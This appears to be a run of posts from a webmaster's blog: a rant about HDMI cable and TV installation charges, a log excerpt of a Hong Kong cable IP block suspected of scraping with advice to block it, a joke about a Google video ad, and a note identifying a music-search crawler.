BULLSHIT! They only start at $99 if you're suckered into buying MONSTER CABLE! You can get other brands starting around $10 and even with gold contacts like Monster Cable for a lot less.

Get this, if you buy a TV from the store it's free delivery but they wanted an extra $50 for delivering the TV stand.

Excuse me?

I'm spending all that money and you want yet another $50 for delivering the TV stand even though it's coming with the TV that has free shipping?

Wait, that installation service you want me to buy for $400 doesn't include assembling the TV stand either?

Where do you install the TV then?

The answer I got was "Wall mount or we set it on the floor."

Excuse me?

Even Staples will assemble things staring for as little as $15 and you tell me for an extra $400 you'll come in and leave me with a TV on the floor and a TV stand in a box?

OK, all my bullshit alarms are going off now, I know when I'm getting screwed.

Fine, delivering the TV is free, you're delivering the damn TV, but kiss your $400 setup service goodbye.

We ran out and got a TV stand and the sound system and it'll be ready to go when the TV arrives, and I won't be paying any $50 for delivering it, nor will you get $400 for doing something half-assed like leaving it sitting on my floor.

I'll do the installation myself and do it half-assed for free.

So I've got my less expensive HDMI cables ready to go, TV stand and home theater sound, the cable company has enabled HDTV service, I'm good to go.

The only thing missing is the TV which is supposed to arrive tomorrow afternoon.

How many of you expect a rant tomorrow when everything goes to hell?

Be prepared for part 2...

Hong Kong Cable IP Block Scraping

I've predicted this would happen for some time but have no clue how they managed to utilize and entire block of IPs from a HK cable company to scrape.

Look at the list below and not it's all in the same block, all 1-2 pages max, all the same user agent, and it flew right under the normal radar except my proximity alarm noticed this trend.

222.166.160.1 [cm222-166-160-1.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.10 [cm222-166-160-10.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.100 [cm222-166-160-100.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.101 [cm222-166-160-101.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.102 [cm222-166-160-102.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.103 [cm222-166-160-103.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.104 [cm222-166-160-104.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.105 [cm222-166-160-105.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.106 [cm222-166-160-106.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.108 [cm222-166-160-108.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.109 [cm222-166-160-109.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.11 [cm222-166-160-11.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.111 [cm222-166-160-111.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.113 [cm222-166-160-113.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.114 [cm222-166-160-114.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.115 [cm222-166-160-115.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.117 [cm222-166-160-117.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.118 [cm222-166-160-118.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.12 [cm222-166-160-12.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.120 [cm222-166-160-120.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.121 [cm222-166-160-121.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.123 [cm222-166-160-123.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.124 [cm222-166-160-124.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.127 [cm222-166-160-127.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.128 [cm222-166-160-128.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.129 [cm222-166-160-129.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.130 [cm222-166-160-130.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.131 [cm222-166-160-131.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.132 [cm222-166-160-132.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.133 [cm222-166-160-133.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.135 [cm222-166-160-135.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.136 [cm222-166-160-136.hkcable.com.hk.] pages 3- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.137 [cm222-166-160-137.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.138 [cm222-166-160-138.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.139 [cm222-166-160-139.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.140 [cm222-166-160-140.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.141 [cm222-166-160-141.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.142 [cm222-166-160-142.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.144 [cm222-166-160-144.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.145 [cm222-166-160-145.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.146 [cm222-166-160-146.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.147 [cm222-166-160-147.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.148 [cm222-166-160-148.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.149 [cm222-166-160-149.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.15 [cm222-166-160-15.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.150 [cm222-166-160-150.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.154 [cm222-166-160-154.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.155 [cm222-166-160-155.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.156 [cm222-166-160-156.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.158 [cm222-166-160-158.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.163 [cm222-166-160-163.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.164 [cm222-166-160-164.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.165 [cm222-166-160-165.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.166 [cm222-166-160-166.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.167 [cm222-166-160-167.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.168 [cm222-166-160-168.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.169 [cm222-166-160-169.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.17 [cm222-166-160-17.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.171 [cm222-166-160-171.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.172 [cm222-166-160-172.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.173 [cm222-166-160-173.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.174 [cm222-166-160-174.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.175 [cm222-166-160-175.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.176 [cm222-166-160-176.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.18 [cm222-166-160-18.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.180 [cm222-166-160-180.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.181 [cm222-166-160-181.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.183 [cm222-166-160-183.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.184 [cm222-166-160-184.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.186 [cm222-166-160-186.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.188 [cm222-166-160-188.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.189 [cm222-166-160-189.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.19 [cm222-166-160-19.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.191 [cm222-166-160-191.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.192 [cm222-166-160-192.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.193 [cm222-166-160-193.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.194 [cm222-166-160-194.hkcable.com.hk.] pages 3- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.195 [cm222-166-160-195.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.196 [cm222-166-160-196.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.199 [cm222-166-160-199.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.201 [cm222-166-160-201.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.203 [cm222-166-160-203.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.204 [cm222-166-160-204.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.205 [cm222-166-160-205.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.206 [cm222-166-160-206.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.208 [cm222-166-160-208.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.209 [cm222-166-160-209.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.21 [cm222-166-160-21.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.210 [cm222-166-160-210.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.211 [cm222-166-160-211.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.212 [cm222-166-160-212.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.213 [cm222-166-160-213.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.214 [cm222-166-160-214.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.215 [cm222-166-160-215.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.218 [cm222-166-160-218.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.220 [cm222-166-160-220.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.221 [cm222-166-160-221.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.222 [cm222-166-160-222.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.223 [cm222-166-160-223.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.224 [cm222-166-160-224.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.225 [cm222-166-160-225.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.226 [cm222-166-160-226.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.227 [cm222-166-160-227.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.228 [cm222-166-160-228.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.23 [cm222-166-160-23.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.230 [cm222-166-160-230.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.232 [cm222-166-160-232.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.234 [cm222-166-160-234.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.235 [cm222-166-160-235.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.237 [cm222-166-160-237.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.238 [cm222-166-160-238.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.239 [cm222-166-160-239.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.24 [cm222-166-160-24.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.241 [cm222-166-160-241.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.242 [cm222-166-160-242.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.243 [cm222-166-160-243.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.244 [cm222-166-160-244.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.245 [cm222-166-160-245.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.246 [cm222-166-160-246.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.247 [cm222-166-160-247.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.248 [cm222-166-160-248.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.249 [cm222-166-160-249.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.25 [cm222-166-160-25.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.251 [cm222-166-160-251.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.252 [cm222-166-160-252.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.253 [cm222-166-160-253.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.254 [cm222-166-160-254.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.26 [cm222-166-160-26.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.29 [cm222-166-160-29.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.3 [cm222-166-160-3.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.30 [cm222-166-160-30.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.32 [cm222-166-160-32.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.33 [cm222-166-160-33.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.36 [cm222-166-160-36.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.38 [cm222-166-160-38.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.39 [cm222-166-160-39.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.40 [cm222-166-160-40.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.41 [cm222-166-160-41.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.42 [cm222-166-160-42.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.44 [cm222-166-160-44.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.45 [cm222-166-160-45.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.47 [cm222-166-160-47.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.48 [cm222-166-160-48.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.5 [cm222-166-160-5.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.51 [cm222-166-160-51.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.54 [cm222-166-160-54.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.56 [cm222-166-160-56.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.57 [cm222-166-160-57.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.58 [cm222-166-160-58.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.59 [cm222-166-160-59.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.6 [cm222-166-160-6.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.60 [cm222-166-160-60.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.62 [cm222-166-160-62.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.63 [cm222-166-160-63.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.64 [cm222-166-160-64.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.65 [cm222-166-160-65.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.66 [cm222-166-160-66.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.67 [cm222-166-160-67.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.68 [cm222-166-160-68.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.69 [cm222-166-160-69.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.70 [cm222-166-160-70.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.72 [cm222-166-160-72.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.73 [cm222-166-160-73.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.74 [cm222-166-160-74.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.75 [cm222-166-160-75.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.76 [cm222-166-160-76.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.77 [cm222-166-160-77.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.78 [cm222-166-160-78.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.8 [cm222-166-160-8.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.80 [cm222-166-160-80.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.82 [cm222-166-160-82.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.83 [cm222-166-160-83.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.84 [cm222-166-160-84.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.85 [cm222-166-160-85.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.86 [cm222-166-160-86.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.87 [cm222-166-160-87.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.88 [cm222-166-160-88.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.90 [cm222-166-160-90.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.91 [cm222-166-160-91.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.92 [cm222-166-160-92.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.94 [cm222-166-160-94.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.95 [cm222-166-160-95.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.96 [cm222-166-160-96.hkcable.com.hk.] pages 2- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
222.166.160.97 [cm222-166-160-97.hkcable.com.hk.] pages 1- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

When I reviewed the physical log entries you can see the data being accessed was sequential.

Not sure if there are other ranges of IP in the HK Cable Company to be concerned with, but 222.166.160.* is definitely one to block for now.

Google AssSense Video Ads

Simply visiting other peoples websites can be enlightening to see what kind of Google ads are running on their site. I haven't encountered many Google video ads yet but this one just about made me fall off my chair when I first saw it and I knew I had to share it with you all.

Imagine my reaction when these big white letters grabbed my attention:

As you can imagine, I did a double take on that!

What in the heck?

Anal Ain't ads on Google AssSense?

Then the little play arrow BUTTon moved to the upper right, whew!

Gee Google, and I thought you were getting a little racy!

Thanks for the giggle Google ;)

First Look - seeqpod-vertical-crawler

Something was crawling that claimed to be related to SEEQPOD, some music service, that appears to be trolling the web looking for music files.

Here's the crawler information:

64.142.36.243
[64-142-36-243.dsl.static.sonic.net.]
"mozilla/5.0 (compatible; seeqpod-vertical-crawler +http://www.seeqpod.com)"

It appears to be registered as follows:

Juvenate Cux
2015 Stockton
S.F., CA 94133
US

Domain name: SEEQPOD.COM

Their server seeqpod.com is located at address 4.79.224.36 which is allocated to co-location.com

Co-Location.com Inc. LVLT-COLOC-4-79-224-32 (NET-4-79-224-32-1)
4.79.224.32 - 4.79.224.47

Not sure why they're crawling from some DSL line, but I'd block that and the co-location range just to be safe.

Google Still Crawling Proxy Sites and Hijacking Pages

